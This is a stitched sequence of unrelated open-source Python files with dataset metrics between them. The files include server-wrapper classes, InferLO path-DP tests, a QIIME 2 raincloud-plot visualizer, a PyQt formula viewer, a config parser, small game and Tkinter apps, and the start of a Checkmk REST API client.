'--port={0}'.format(self.port), '--admin_port={0}'.format(self.admin_port), '--skip_sdk_update_check=yes', self.path ] if self.dev_appserver_path.endswith(('.py', '.pyc')): command = [self.executable] + command return command class WsgirefSimpleServer(WrapperBase): def __init__(self, *args, **kwargs): """ :param bool ssl: If true, the app will be run with ssl enabled and the scheme of the ``self.check_url`` will be ``"https"``. """ self.ssl = kwargs.pop('ssl', None) super(WsgirefSimpleServer, self).__init__(*args, **kwargs) if self.ssl: self.scheme = 'https' def create_command(self): command = super(WsgirefSimpleServer, self).create_command() if self.ssl is True: command += ['--ssl=1'] return command def check(self, check_url=None): url = self.check_url if check_url is None else \ self._normalize_check_url(check_url) if self.ssl: url = url.replace('http://', 'https://') super(WsgirefSimpleServer, self).check(url) @classmethod def _add_args(cls): super(WsgirefSimpleServer, cls)._add_args() cls._argument_parser.add_argument('--ssl', help='Run with ssl enabled.', type=bool, nargs='?', default=False) @classmethod def wrap(cls, app): host, port = cls.parse_args() if host: from wsgiref.simple_server import make_server server = make_server(host, port, app) if cls._argument_parser.parse_args().ssl: # Set HTTPS='1' makes wsgiref set wsgi.url_scheme='https' # This in turn makes pyramid set request.scheme='https' server.base_environ['HTTPS'] = '1' with tempfile.TemporaryDirectory() as td: # Generate temporary self-signed cert/key pair # using the library used by Flask for 'adhoc' ssl_context certpath = '{}/liveandletdie'.format(td) make_ssl_devcert(certpath) server.socket = ssl.wrap_socket( server.socket, server_side=True, certfile='{}.crt'.format(certpath), keyfile='{}.key'.format(certpath), ) server.serve_forever() server.server_close() sys.exit() class Django(Base): def create_command(self): return [ self.executable, os.path.join(self.path, 'manage.py'), 'runserver', '{0}:{1}'.format(self.host, self.port), ] class FastAPIServer(Base): def __init__(self, *args, **kwargs): kwargs['executable'] = 'uvicorn' super().__init__(*args, **kwargs) def create_command(self): path_without_extension = self.path.rsplit('.', 1)[0] return [ self.executable, '{}:app'.format(path_without_extension), '--host {}'.format(self.host), '--port {}'.format(self.port), '--reload', ]

30.342561

80

0.528338

1,917

17,538

4.696401

0.181012

0.032878

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0.30201

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0.216706

0.202932

0.180718

0

0.009362

0.360474

17,538

577

81

30.395147

0.793331

0.173623

0

0.364162

0

0.00289

0.090163

0.013251

0

0.001733

0

1

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false

0.00578

0.069364

0.008671

0.280347

0.00578

0

null

0

null

0

1

0

a87422210ed17bb58ad8b0a9b840dbe0d698bc5e

1,784

py

Python

inferlo/pairwise/optimization/path_dp_test.py

InferLO/inferlo

a65efce721d7f99d2f274dd94a1aaf7ca159e944

[ "Apache-2.0" ]

1

2022-01-27T18:44:07.000Z

inferlo/pairwise/optimization/path_dp_test.py

InferLO/inferlo

a65efce721d7f99d2f274dd94a1aaf7ca159e944

[ "Apache-2.0" ]

3

2022-01-23T18:02:30.000Z

2022-01-27T23:10:51.000Z

inferlo/pairwise/optimization/path_dp_test.py

InferLO/inferlo

a65efce721d7f99d2f274dd94a1aaf7ca159e944

[ "Apache-2.0" ]

1

2021-09-03T06:12:57.000Z

# Copyright (c) 2020, The InferLO authors. All rights reserved. # Licensed under the Apache License, Version 2.0 - see LICENSE file. import numpy as np from inferlo import PairWiseFiniteModel from inferlo.pairwise.optimization.path_dp import max_lh_path_dp from inferlo.testing import grid_potts_model, tree_potts_model, \ line_potts_model def test_grid_4x4x2(): model = grid_potts_model(4, 4, al_size=2, seed=0) max_lh_gt = model.max_likelihood(algorithm='bruteforce') max_lh = max_lh_path_dp(model) assert np.allclose(max_lh, max_lh_gt) def test_grid_3x3x4(): model = grid_potts_model(3, 3, al_size=4, seed=0) max_lh_gt = model.max_likelihood(algorithm='bruteforce') max_lh = max_lh_path_dp(model) assert np.allclose(max_lh, max_lh_gt) def test_grid_2x2x10(): model = grid_potts_model(2, 2, al_size=10, seed=0) max_lh_gt = model.max_likelihood(algorithm='bruteforce') max_lh = max_lh_path_dp(model) assert np.allclose(max_lh, max_lh_gt) def test_line_1000x10(): model = line_potts_model(gr_size=1000, al_size=10, seed=0) max_lh_gt = model.max_likelihood(algorithm='tree_dp') max_lh = max_lh_path_dp(model) assert np.allclose(max_lh, max_lh_gt) def test_tree_50x2(): model = tree_potts_model(gr_size=50, al_size=2, seed=0) max_lh_gt = model.max_likelihood(algorithm='tree_dp') max_lh = max_lh_path_dp(model) assert np.allclose(max_lh, max_lh_gt) def test_disconnected(): model = PairWiseFiniteModel(size=4, al_size=5) model.add_interaction(0, 1, np.random.random(size=(5, 5))) model.add_interaction(2, 3, np.random.random(size=(5, 5))) max_lh_gt = model.max_likelihood(algorithm='bruteforce') max_lh = max_lh_path_dp(model) assert np.allclose(max_lh, max_lh_gt)

33.660377

68

0.742152

301

1,784

4.056478

0.212625

0.126945

0.068796

0.09828

0.563473

0.530713

0

0.038918

0.150224

1,784

52

69

34.307692

0.766491

0.071749

0

0.486486

0

0.032668

0

0.162162

1

0.162162

false

0

0.108108

0

0.27027

0

null

0

null

0

1

0

a87615aea68a574978280da83ef3e7eeef1e199b

4,516

py

Python

q2_fmt/_visualizer.py

qiime2/q2-fmt

c2ea6a938bd7688f05a397abd8ad2e7982c53ce7

[ "BSD-3-Clause" ]

null

q2_fmt/_visualizer.py

qiime2/q2-fmt

c2ea6a938bd7688f05a397abd8ad2e7982c53ce7

[ "BSD-3-Clause" ]

null

q2_fmt/_visualizer.py

qiime2/q2-fmt

c2ea6a938bd7688f05a397abd8ad2e7982c53ce7

[ "BSD-3-Clause" ]

1

2022-03-07T20:34:23.000Z

# ---------------------------------------------------------------------------- # Copyright (c) 2022, QIIME 2 development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. # ---------------------------------------------------------------------------- import os import pkg_resources import jinja2 import json import pandas as pd def plot_rainclouds(output_dir: str, data: pd.DataFrame, stats: pd.DataFrame = None): table1 = None if stats is not None: table1, stats = _make_stats(stats) J_ENV = jinja2.Environment( loader=jinja2.PackageLoader('q2_fmt', 'assets') ) x_label = data['measure'].attrs['title'] y_label = data['group'].attrs['title'] subject_unit = data['subject'].attrs['title'] title = f'{x_label} of {subject_unit} across {y_label}' figure1 = ( f'Raincloud plots showing the distribution of subjects\'' f' measure of {x_label} across {y_label}. Kernel density estimation' f' performed using a bandwidth calculated by Scott\'s method. Boxplots' f' show the min and max of the data (whiskers) as well as the first,' f' second (median), and third quartiles (box). ' f' Points and connecting lines represent individual subjects' f' with a consistent jitter added across groups such that slopes' f' across adjacent groups are visually comparable between subjects.') index = J_ENV.get_template('index.html') data = json.loads(data.to_json(orient='records')) spec_fp = pkg_resources.resource_filename( 'q2_fmt', os.path.join('assets', 'spec.json')) with open(spec_fp) as fh: json_obj = json.load(fh) full_spec = json_replace(json_obj, data=data, x_label=x_label, y_label=y_label, title=title) with open(os.path.join(output_dir, 'index.html'), 'w') as fh: spec_string = json.dumps(full_spec) fh.write(index.render(spec=spec_string, stats=stats, figure1=figure1, table1=table1)) def json_replace(json_obj, **values): """ Search for elements of `{"{{REPLACE_PARAM}}": "some_key"}` and replace with the result of `values["some_key"]`. """ if type(json_obj) is list: return [json_replace(x, **values) for x in json_obj] elif type(json_obj) is dict: new = {} for key, value in json_obj.items(): if type(value) is dict and list(value) == ["{{REPLACE_PARAM}}"]: param_name = value["{{REPLACE_PARAM}}"] new[key] = values[param_name] else: new[key] = json_replace(value, **values) return new else: return json_obj def _make_stats(stats): method = stats['test-statistic'].attrs['title'] group_unit = (stats['A:group'].attrs['title'] + ' vs ' + stats['B:group'].attrs['title']) pval_method = stats['p-value'].attrs['title'] qval_method = stats['q-value'].attrs['title'] table1 = (f'{method} tests between groups ({group_unit}), with' f' {pval_method} p-value calculations and {qval_method}' f' correction for multiple comparisons (q-value).') df = pd.DataFrame(index=stats.index) group_a = _make_group_col('A', stats) df[group_a.name] = group_a group_b = _make_group_col('B', stats) df[group_b.name] = group_b df['A'] = stats['A:measure'] df['B'] = stats['B:measure'] df = df.merge(stats.iloc[:, 6:], left_index=True, right_index=True) df.columns = pd.MultiIndex.from_tuples([ ('Group A', stats['A:group'].attrs['title']), ('Group B', stats['B:group'].attrs['title']), ('A', stats['A:measure'].attrs['title']), ('B', stats['B:measure'].attrs['title']), ('', 'n'), ('', 'test-statistic'), ('', 'p-value'), ('', 'q-value'), ]) html = df.to_html(index=False) return table1, html def _make_group_col(prefix, df): group_series = df[prefix + ':group'] group_n = df[prefix + ':n'] if (group_series.dtype == float and group_series.apply(float.is_integer).all()): group_series = group_series.astype(int) group_series = group_series.apply(str) group_n = " (n=" + group_n.apply(str) + ")" series = group_series + group_n series.name = f'{"Group "}' + prefix return series

36.419355

79

0.58791

584

4,516

4.390411

0.325342

0.046802

0.029251

0.014041

0.032761

0

0.005834

0.240921

4,516

123

80

36.715447

0.742124

0.097874

0

0.021505

0

0.246789

0

1

0.043011

false

0

0.053763

0

0.150538

0

null

0

null

0

1

0

a8774bec857cbb97e4eda662898c5c3beaf5c549

14,862

py

Python

fbp_calculator/dialogfbp.py

deselmo/FBP_Calculator

90bb07f123fea224fdca24aabeceabd391b7d51e

[ "MIT" ]

null

fbp_calculator/dialogfbp.py

deselmo/FBP_Calculator

90bb07f123fea224fdca24aabeceabd391b7d51e

[ "MIT" ]

null

fbp_calculator/dialogfbp.py

deselmo/FBP_Calculator

90bb07f123fea224fdca24aabeceabd391b7d51e

[ "MIT" ]

null

# -*- coding: utf-8 -*- import re import xlsxwriter from PyQt5 import QtCore, QtGui, QtWidgets from fbp_calculator.ui_dialogfbp import Ui_DialogFBP from fbp_calculator.calculatorfbp import QThreadCalculatorFBP from fbp_calculator.reaction_adapter import reaction_invadapter class DialogFBP(QtWidgets.QDialog, Ui_DialogFBP): def __init__(self, parent, symbols, steps, reaction_set, context_given_set, context_not_given_set): super(DialogFBP, self).__init__(parent) self.setupUi(self) self.setAttribute(QtCore.Qt.WA_DeleteOnClose) self.formulaType_defaultIndex = 1 self.comboBoxFormulaType.setCurrentIndex(self.formulaType_defaultIndex) self.textBrowserFormula.setVisible(self.formulaType_defaultIndex == 0) self.listFormula.setVisible(self.formulaType_defaultIndex == 1) self.tableWidgetFormula.setVisible(self.formulaType_defaultIndex == 2) self.symbols = symbols self.steps = steps self.reaction_set = reaction_set self.context_given_set = context_given_set self.context_not_given_set = context_not_given_set self.lineEditSymbols.setText(reaction_invadapter(self.symbols)) self.lineEditSteps.setText(str(self.steps)) self.labelLoadingImage.setMovie(QtGui.QMovie(":/loader.gif")) self.labelLoadingImage.movie().start() self.toolButtonSave.setVisible(False) self.toolButtonSave.clicked.connect(self.toolButtonSave_clicked) self.comboBoxFormulaType.currentIndexChanged.connect(self.comboBoxFormulaType_currentIndexChanged) self.listFormula.verticalScrollBar().valueChanged.connect(self.listFormula_scrollBar_valueChanged) self.tableWidgetFormula.horizontalScrollBar().valueChanged.connect(self.tableWidgetFormula_horizontalScrollBar_valueChanged) self.tableWidgetFormula.verticalScrollBar().valueChanged.connect(self.tableWidgetFormula_verticalScrollBar_valueChanged) self.QThreadCalculatorFBP = QThreadCalculatorFBP(self) self.QThreadCalculatorFBP.finished.connect(self.QThread_finishedCalculatorFBP) self.QThreadCalculatorFBP.start() def toolButtonSave_clicked(self): formulaType_index = self.comboBoxFormulaType.currentIndex() if formulaType_index == 0: file_name, _ = QtWidgets.QFileDialog.getSaveFileName(self, 'Save result as', 'untitled.txt', 'TXT files (*.txt)') if not file_name: return try: with open(file_name, 'w') as file: file.write(self.save_text) except Exception as e: error_message = str(e) if 'Errno' in error_message: error_message = error_message.split('] ')[1] QtWidgets.QMessageBox.critical(self, 'Error when saving the file', '{}'.format(error_message), QtWidgets.QMessageBox.Close, QtWidgets.QMessageBox.Close) elif formulaType_index == 1: file_name, _ = QtWidgets.QFileDialog.getSaveFileName(self, 'Save result as', 'untitled.txt', 'TXT files (*.txt)') if not file_name: return try: with open(file_name, 'w') as file: file.write(self.save_list) except Exception as e: error_message = str(e) if 'Errno' in error_message: error_message = error_message.split('] ')[1] QtWidgets.QMessageBox.critical(self, 'Error when saving the file', '{}'.format(error_message), QtWidgets.QMessageBox.Close, QtWidgets.QMessageBox.Close) elif formulaType_index == 2: file_name, _ = QtWidgets.QFileDialog.getSaveFileName(self, 'Save result as', 'untitled.xlsx', 'XLSX files (*.xlsx)') if not file_name: return workbook = xlsxwriter.Workbook(file_name) worksheet = workbook.add_worksheet() if isinstance(self.formula, bool): worksheet.write(0, 0, str(self.formula)) else: for i in range(0, self.steps): worksheet.write(0, i, str(i+1)) for i in range(0, len(self.formula_table)): row = self.formula_table[i] for column in row: text = row[column] worksheet.write(i+1, column, text) try: workbook.close() except Exception as e: error_message = str(e) if 'Errno' in error_message: error_message = error_message.split('] ')[1] QtWidgets.QMessageBox.critical(self, 'Error when saving the file', '{}'.format(error_message), QtWidgets.QMessageBox.Close, QtWidgets.QMessageBox.Close) def resizeEvent(self, event): self.listFormula_fillSpace() self.tableWidgetFormula_fillVerticalSpace() self.tableWidgetFormula_fillHorizontalSpace() def closeEvent(self, event): self.QThreadCalculatorFBP.stop() self.QThreadCalculatorFBP.wait() event.accept() def QThread_finishedCalculatorFBP(self): if self.QThreadCalculatorFBP.stopped: return self.labelLoadingImage.setVisible(False) self.labelLoadingImage.movie().stop() self.labelComputing.setVisible(False) if not self.QThreadCalculatorFBP.result['completed']: self.labelComputing.setStyleSheet("QLabel { color : red; font-weight:600; }") self.labelComputing.setText('Error during the fbp calculation') self.labelComputing.setVisible(True) return self.formula = self.QThreadCalculatorFBP.result['formula'] self.formula_table = self.QThreadCalculatorFBP.result['formula_table'] self.toolButtonSave.setVisible(True) self.comboBoxFormulaType.setEnabled(True) self.comboBoxFormulaType_currentIndexChanged(self.formulaType_defaultIndex) self.raise_() def comboBoxFormulaType_currentIndexChanged(self, index): if index == 0: self.textBrowserFormula_show() elif index == 1: self.listFormula_show() elif index == 2: self.tableWidgetFormula_show() def textBrowserFormula_show(self): self.listFormula.setVisible(False) self.tableWidgetFormula.setVisible(False) self.textBrowserFormula.setVisible(True) if not self.textBrowserFormula.isEnabled(): self.textBrowserFormula.setEnabled(True) self.textBrowserFormula_initialize() def textBrowserFormula_initialize(self): if isinstance(self.formula, bool): text = str(self.formula) self.textBrowserFormula.setText(text) self.save_text = text return text_subbed = '' prebrackets = len(self.formula) > 1 for i in range(0, len(self.formula)): if i > 0: text_subbed += ' ∨ ' backets = prebrackets and len(self.formula[i]) > 1 if backets: text_subbed += '(' for j in range(0, len(self.formula[i])): if j > 0: text_subbed += ' ∧ ' n, s = self.formula[i][j] text_subbed += '{}<sub>{}</sub>'.format(s, str(n)) if backets: text_subbed += ')' self.textBrowserFormula.setText(text_subbed) save_text = text_subbed save_text = re.sub('<sub>', '_', save_text) save_text = re.sub('</sub>', '', save_text) self.save_text = save_text def listFormula_show(self): self.textBrowserFormula.setVisible(False) self.tableWidgetFormula.setVisible(False) self.listFormula.setVisible(True) if not self.listFormula.isEnabled(): self.listFormula.setEnabled(True) self.listFormula_initialize() else: self.listFormula_fillSpace() def listFormula_initialize(self): if isinstance(self.formula, bool): text = str(self.formula) self.listFormula.addItem(QtWidgets.QListWidgetItem(text)) self.save_list = text return text = '' for f in self.formula: for i in range(0, len(f)): n, s = f[i] text += '{}_{} '.format(s, str(n)) text = text[:-1] text += '\r\n' self.save_list = text self.listFormula_fillSpace() def listFormula_fillSpace(self): if (not self.listFormula.isEnabled() or not self.listFormula.isVisible() or isinstance(self.formula, bool)): return for _ in range(self.listFormula.count(), len(self.formula)): if self.listFormula.verticalScrollBar().maximum() != 0: break self.listFormula_addRow() def listFormula_scrollBar_valueChanged(self, value): if (not self.listFormula.isEnabled() or not self.listFormula.isVisible() or isinstance(self.formula, bool)): return listFormula_len = self.listFormula.count() if (listFormula_len < len(self.formula) and value == self.listFormula.verticalScrollBar().maximum()): self.listFormula_addRow() def listFormula_addRow(self): f = self.formula[self.listFormula.count()] text = '' for i in range(0, len(f)): n, s = f[i] text += '{}<sub>{}</sub> '.format(s, str(n)) text = text[:-1] label = QtWidgets.QLabel(text) label.setContentsMargins(4,4,4,4) item = QtWidgets.QListWidgetItem() item.setSizeHint(QtCore.QSize(0, label.sizeHint().height()+4)) self.listFormula.addItem(item) self.listFormula.setItemWidget(item, label) def tableWidgetFormula_show(self): self.textBrowserFormula.setVisible(False) self.listFormula.setVisible(False) self.tableWidgetFormula.setVisible(True) if not self.tableWidgetFormula.isEnabled(): self.tableWidgetFormula.setEnabled(True) self.tableWidgetFormula_initialize() else: self.tableWidgetFormula_fillVerticalSpace() self.tableWidgetFormula_fillHorizontalSpace() def tableWidgetFormula_initialize(self): if isinstance(self.formula, bool): self.tableWidgetFormula.horizontalHeader().setVisible(False) self.tableWidgetFormula.setRowCount(1) self.tableWidgetFormula.setColumnCount(1) self.tableWidgetFormula_addCell(0, 0, str(self.formula)) self.tableWidgetFormula_resizeToContent() return self.tableWidgetFormula_fillHorizontalSpace() self.tableWidgetFormula_fillVerticalSpace() def tableWidgetFormula_fillVerticalSpace(self): if (not self.tableWidgetFormula.isEnabled() or not self.tableWidgetFormula.isVisible() or isinstance(self.formula, bool)): return for _ in range(self.tableWidgetFormula.rowCount(), len(self.formula_table)): if self.tableWidgetFormula.verticalScrollBar().maximum() != 0: break self.tableWidgetFormula_addRow() def tableWidgetFormula_fillHorizontalSpace(self): if (not self.tableWidgetFormula.isEnabled() or not self.tableWidgetFormula.isVisible() or isinstance(self.formula, bool)): return for _ in range(self.tableWidgetFormula.columnCount(), self.steps): if self.tableWidgetFormula.horizontalScrollBar().maximum() != 0: break self.tableWidgetFormula_addColumn() def tableWidgetFormula_verticalScrollBar_valueChanged(self, value): if (not self.tableWidgetFormula.isEnabled() or not self.tableWidgetFormula.isVisible() or isinstance(self.formula, bool)): return if (self.tableWidgetFormula.rowCount() < len(self.formula_table) and value == self.tableWidgetFormula.verticalScrollBar().maximum()): self.tableWidgetFormula_addRow() def tableWidgetFormula_horizontalScrollBar_valueChanged(self, value): if (not self.tableWidgetFormula.isEnabled()) or isinstance(self.formula, bool): return if (self.tableWidgetFormula.columnCount() < self.steps and value == self.tableWidgetFormula.horizontalScrollBar().maximum()): self.tableWidgetFormula_addColumn() def tableWidgetFormula_addRow(self): column = self.tableWidgetFormula.columnCount() row = self.tableWidgetFormula.rowCount() self.tableWidgetFormula.setRowCount(row+1) f = self.formula_table[row] for i in range(0, column): if not i in f: continue s = f[i] self.tableWidgetFormula_addCell(row, i, s) self.tableWidgetFormula_resizeToContent() def tableWidgetFormula_addColumn(self): column = self.tableWidgetFormula.columnCount() row = self.tableWidgetFormula.rowCount() self.tableWidgetFormula.setColumnCount(column+1) self.tableWidgetFormula.setHorizontalHeaderItem(column, QtWidgets.QTableWidgetItem(str(column+1))) for i in range(0, row): f = self.formula_table[i] if not column in f: continue s = f[column] self.tableWidgetFormula_addCell(i, column, s) self.tableWidgetFormula_resizeToContent() def tableWidgetFormula_addCell(self, row, column, text): cellWidget = self.tableWidgetFormula.cellWidget(row, column) if cellWidget == None: label = QtWidgets.QLabel(text) label.setContentsMargins(8,2,8,2) label.setAlignment(QtCore.Qt.AlignLeft) self.tableWidgetFormula.setCellWidget(row, column, label) else: raise Exception('Add a cell more than one time') def tableWidgetFormula_resizeToContent(self): self.tableWidgetFormula.horizontalHeader().setResizeContentsPrecision(self.tableWidgetFormula.rowCount()) self.tableWidgetFormula.resizeColumnsToContents() self.tableWidgetFormula.horizontalHeader().setSectionResizeMode(QtWidgets.QHeaderView.Fixed)

39.007874

132

0.621922

1,391

14,862

6.524083

0.149533

0.14303

0.023141

0.027548

0.436143

0.345565

0.307769

0.24022

0.216749

0

0.00536

0.284484

14,862

380

133

39.110526

0.847847

0.001413

0

0.403974

0

0.029786

0

1

0.076159

false

0

0.019868

0

0.145695

0

null

0

null

0

1

0

a8788321cfe29c5b65aa0dcb3161af6d1defc792

3,721

py

Python

spts/config.py

FilipeMaia/spts

de4eb2920b675537da611c7301d4d5a9565a1ab1

[ "BSD-2-Clause" ]

null

spts/config.py

FilipeMaia/spts

de4eb2920b675537da611c7301d4d5a9565a1ab1

[ "BSD-2-Clause" ]

5

2021-03-26T11:37:40.000Z

2021-03-31T09:20:40.000Z

spts/config.py

FilipeMaia/spts

de4eb2920b675537da611c7301d4d5a9565a1ab1

[ "BSD-2-Clause" ]

1

2021-03-24T11:07:41.000Z

import os, numpy, configparser import logging logger = logging.getLogger(__name__) import spts.log from spts.log import log_and_raise_error,log_warning,log_info,log_debug def read_configfile(configfile): """ Read configuration file to dictionary """ config = configparser.ConfigParser() with open(configfile,"r") as f: config.readfp(f) confDict = {} for section in config.sections(): confDict[section] = {} c = config.items(section) for (key,value) in c: confDict[section][key] = _estimate_class(value) return confDict def write_configfile(configdict, filename): """ Write configuration file from a dictionary """ ls = ["# Configuration file\n# Automatically written by Configuration instance\n\n"] for section_name,section in configdict.items(): if isinstance(section,dict): ls.append("[%s]\n" % section_name) for variable_name,variable in section.items(): if (hasattr(variable, '__len__') and (not isinstance(variable, str))) or isinstance(variable, list): ls.append("%s=%s\n" % (variable_name,_list_to_str(variable))) else: ls.append("%s=%s\n" % (variable_name,str(variable))) ls.append("\n") with open(filename, "w") as f: f.writelines(ls) def read_configdict(configdict): C = {} for k,v in configdict.items(): if isinstance(v, dict): v_new = read_configdict(v) else: v_new = _estimate_class(v) C[k] = v_new return C def _estimate_class(var): v = _estimate_type(var) if isinstance(v,str): v = v.replace(" ","") if v.startswith("[") and v.endswith("]"): v = _str_to_list(v) for i in range(len(v)): v[i] = os.path.expandvars(v[i]) if isinstance(v[i], str) else v[i] elif v.startswith("{") and v.endswith("}"): v = v[1:-1].split(",") v = [w for w in v if len(w) > 0] d = {} for w in v: key,value = w.split(":") value = _estimate_type(value) if value.startswith("$"): value = os.path.expandvars(value) d[key] = value v = d else: if v.startswith("$"): v = os.path.expandvars(v) return v def _estimate_type(var): if not isinstance(var, str): return var #first test bools if var.lower() == 'true': return True elif var.lower() == 'false': return False elif var.lower() == 'none': return None else: #int try: return int(var) except ValueError: pass #float try: return float(var) except ValueError: pass #string try: return str(var) except ValueError: raise NameError('Something messed up autocasting var %s (%s)' % (var, type(var))) def _str_to_list(s): if s.startswith("[") and s.endswith("]"): if s[1:-1].startswith("[") and s[1:-1].endswith("]"): return _str_to_list(s[1:-1]) else: l = s[1:-1].split(",") l = [_estimate_type(w) for w in l if len(w) > 0] return l else: return s def _list_to_str(L): if (hasattr(L, '__len__') and (not isinstance(L, str))) or isinstance(L, list): s = "" for l in L: s += _list_to_str(l) s += "," s = "[" + s[:-1] + "]" return s else: return str(L)

30.252033

116

0.520828

459

3,721

4.087146

0.228758

0.00533

0.006397

0.020256

0.081023

0.050107

0.02452

0

0.005343

0.346144

3,721

122

117

30.5

0.765721

0.029831

0

0.165049

0

0.052013

0

1

0.067961

false

0.019417

0.038835

0

0.252427

0

null

0

null

0

1

0

a8789fe72bc8cc557e2a565c965147972faca923

556

py

Python

Jogos/jogos.py

jbauermanncode/Alura

be3fe9b717f3f7fe54262f3129076e7736be61a6

[ "MIT" ]

null

Jogos/jogos.py

jbauermanncode/Alura

be3fe9b717f3f7fe54262f3129076e7736be61a6

[ "MIT" ]

null

Jogos/jogos.py

jbauermanncode/Alura

be3fe9b717f3f7fe54262f3129076e7736be61a6

[ "MIT" ]

null

#Importar forca e adivinhacao import forca import adivinhacao def escolhe_jogo(): print('*'*25 ) print('***Escolha o seu jogo!***') print('*'*25) print('(1) Forca (2) Adivinhação') jogo = int(input('Digite 1 ou 2 para escolher um jogo: ')) if(jogo == 1): print('Jogo da Forca') #função jogar de adivinhação forca.jogar() elif(jogo == 2): print('Jogo de Adivinhação') adivinhacao.jogar() # Para saber se o arquivo é o principal ou não if(__name__=='__main__'): escolhe_jogo()

19.172414

62

0.600719

73

556

4.438356

0.506849

0.067901

0.098765

0

0.024272

0.258993

556

28

63

19.857143

0.762136

0.179856

0

0.125

0

0.287305

0

1

0.0625

false

0

0.125

0

0.1875

0.375

0

null

0

null

0

1

0

a879073ae93c60365cc903909e15d337b82c7959

2,153

py

Python

STIMB Landing Page.py

ksu-hmi/STIMythBuster

4cf5c7456d043a9a251f3d3f3c66b4e3a17241fb

[ "MIT" ]

1

2021-11-05T01:57:43.000Z

STIMB Landing Page.py

ksu-hmi/STIMythBuster

4cf5c7456d043a9a251f3d3f3c66b4e3a17241fb

[ "MIT" ]

null

STIMB Landing Page.py

ksu-hmi/STIMythBuster

4cf5c7456d043a9a251f3d3f3c66b4e3a17241fb

[ "MIT" ]

2

2021-11-18T01:17:33.000Z

2021-11-18T01:22:09.000Z

#import libraries import tkinter as tk from tkinter import * from PIL import ImageTk, Image #beginning of code root = tk.Tk() root.title("STIMythBusters Interactive Application") canvas = tk.Canvas(root, bg="purple", width=600, height=400) canvas.grid(columnspan=4, rowspan=4) canvas2 = tk.Canvas2(root, bg="purple", width=600, height=400) canvas2.grid(columnspan=4, rowspan=4) frame = tk.Canvas2(root, bg="blue", width=600, height=400) frame.grid(x=20, y=20) #Open logo load = Image.open("logo.png") render = ImageTk.PhotoImage(load) #Then associate it with the label: img = tk.Label(canvas, image=render) img.image = render img.place(x=20, y=20) #instrutions - Landing Page instructions = tk.Label(root, text="Welcome to STIMythBusters", font="Raleway", bg="brown", fg="white") instructions.grid(columnspan=4, column=0, row=0) def open_file(): browser_text.set("loading....") canvas2 = tk.Canvas(root, bg="purple", width=600, height=400) canvas2.grid(columnspan=4, rowspan=4) #button = tk.Button(canvas2, text="new window",command=lambda:open_file(), bg='black', fg='#469A00', ) #button.grid(column=1, row=2) #create button that will be placed on canvas2 browser_text2 = tk.StringVar() browse_btn= tk.Button(canvas2, textvariable=browser_text2, command=lambda:open_file(), font="Raleway", bg="green", fg="white", height=2, width=15) browser_text2.set("LEARN MORE") browse_btn.grid(column=1, row=2) #browser button 1 browser_text = tk.StringVar() browse_btn= tk.Button(root, textvariable=browser_text, command=lambda:open_file(), font="Raleway", bg="green", fg="white", height=2, width=15) browser_text.set("SearchbySTI") browse_btn.grid(column=1, row=2) def open_button(): browse_text.set("loading....") canvas2 = tk.Canvas(root, bg="purple", width=600, height=400) canvas2.grid(columnspan=4, rowspan=4) #browse button 2 browse_text = tk.StringVar() browse_btn= tk.Button(root, textvariable=browse_text, command=lambda:open_button(), font="Raleway", bg="green", fg="white", height=2, width=15) browse_text.set("SearchbySymptoms") browse_btn.grid(column=2, row=2) #ending of code root.mainloop()

29.493151

146

0.726893

328

2,153

4.70122

0.292683

0.035019

0.045396

0.055123

0.424773

0.40013

0.381971

0.350843

0.264591

0

0.045455

0.111008

2,153

72

147

29.902778

0.760188

0.147701

0

0.179487

0

0.124108

0

1

0.051282

false

0

0.076923

0

0.128205

0

null

0

null

0

1

0

a87b11324a134f84f44e6e28a4f413d36cb0e485

40,710

py

Python

Checkmk.py

bpoje/checkmk-python-rest-api

78d13dbdf9f0c6bb1db7d8a80db030d212406647

[ "MIT" ]

null

Checkmk.py

bpoje/checkmk-python-rest-api

78d13dbdf9f0c6bb1db7d8a80db030d212406647

[ "MIT" ]

null

Checkmk.py

bpoje/checkmk-python-rest-api

78d13dbdf9f0c6bb1db7d8a80db030d212406647

[ "MIT" ]

null

from multiprocessing.sharedctypes import Value import requests as req import json as js from Folder import Folder from Host import * from Changes import * from Discover import * from Create import * from Delete import * from Update import * from GetAllFolders import * class Checkmk: def __init__(self, url, ca_cert, bearerAuth, site_name): self.url = url self.ca_cert = ca_cert self.username = bearerAuth[0] self.secret = bearerAuth[1] self.site_name = site_name self.create_session() #Python3 switch #self.swx={ # 200 : 'HTTP 200 OK', # 400 : 'HTTP 400 Bad Request', # 401 : 'HTTP 401 Unauthorized', # 403 : 'HTTP Forbidden', # 404 : 'HTTP Not Found', # 500 : 'HTTP Internal Server Error' #} #Python3 switch #status_code_string = self.swx.get(res.status_code, 'HTTP response string not found in switch') #print(f'swx: {status_code_string}') def server_url(self): return self.url def ca_cert(self): return self.ca_cert def create_session(self): # https://docs.checkmk.com/latest/en/rest_api.html # The REST-API supports the following methods for authentication: Bearer, Web server and Cookie # # Bearer or Header authentication: # 'Bearer' means the holder of an identity. With HTTP bearer authentication, the client authenticates itself # with the access data of a user set up on the Checkmk server. Ideally, this is the so-called automation user, # which is provided in Checkmk for the execution of actions via an API. Bearer authentication is recommended for use in scripts. # # For authentication, you need the user name and the corresponding so-called "automation secret for machine accounts", # i.e. the password for the automation user. # # Both items of information must be transmitted to the Checkmk server in the header of each request. # # In a newly-created site, the user automation will have already been created. You can find it, like other users, # under Setup > Users. Make sure that the roles and associated permissions for the automation user are set to allow you to execute your requests. # Create requests session object self.s = req.Session() self.s.headers.update({'Authorization':f'Bearer {self.username} {self.secret}', 'accept':'application/json', 'Content-Type':'application/json' }) def exec(self,url_action,req_type='GET',data=None,header=None,send=True,display_req=False,display_res=True): #Create request #r = req.Request('GET', cmk_rest_url + '/objects/host_config/dc-repo?effective_attributes=true') r = req.Request(req_type, self.url + url_action, data=data) #Prepare request based on existing session (adds headers & stuff that are defined under connection) sr = self.s.prepare_request(r) #Modify this header if (header != None): sr.headers.update(header) #Output prepared requst: if (display_req == True): print('Prepared request:') print('\tURL: ', end='') print(sr.url) print('\tBODY: ', end='') print(sr.body) print('\tHEADERS: ', end='') print(sr.headers) print() #Send res = None if (send == True): res = self.s.send(sr, verify=self.ca_cert) #Response objects have a .request property which is the original PreparedRequest object that was sent. #print('Response.request:') #print(res.request.url) #print(res.request.body) #print(res.request.headers) #print() #Output response if (display_res == True): print('Response:') print(f'\tStatus code: {res.status_code} {req.status_codes._codes[res.status_code][0]}') print() #print(res) #print() #print(res.content) #If data not empty print('\tRESPONSE BODY: ', end='') if (res.content != None and len(res.content) != 0): #res.content are bytes, decode them to produce string dmp = 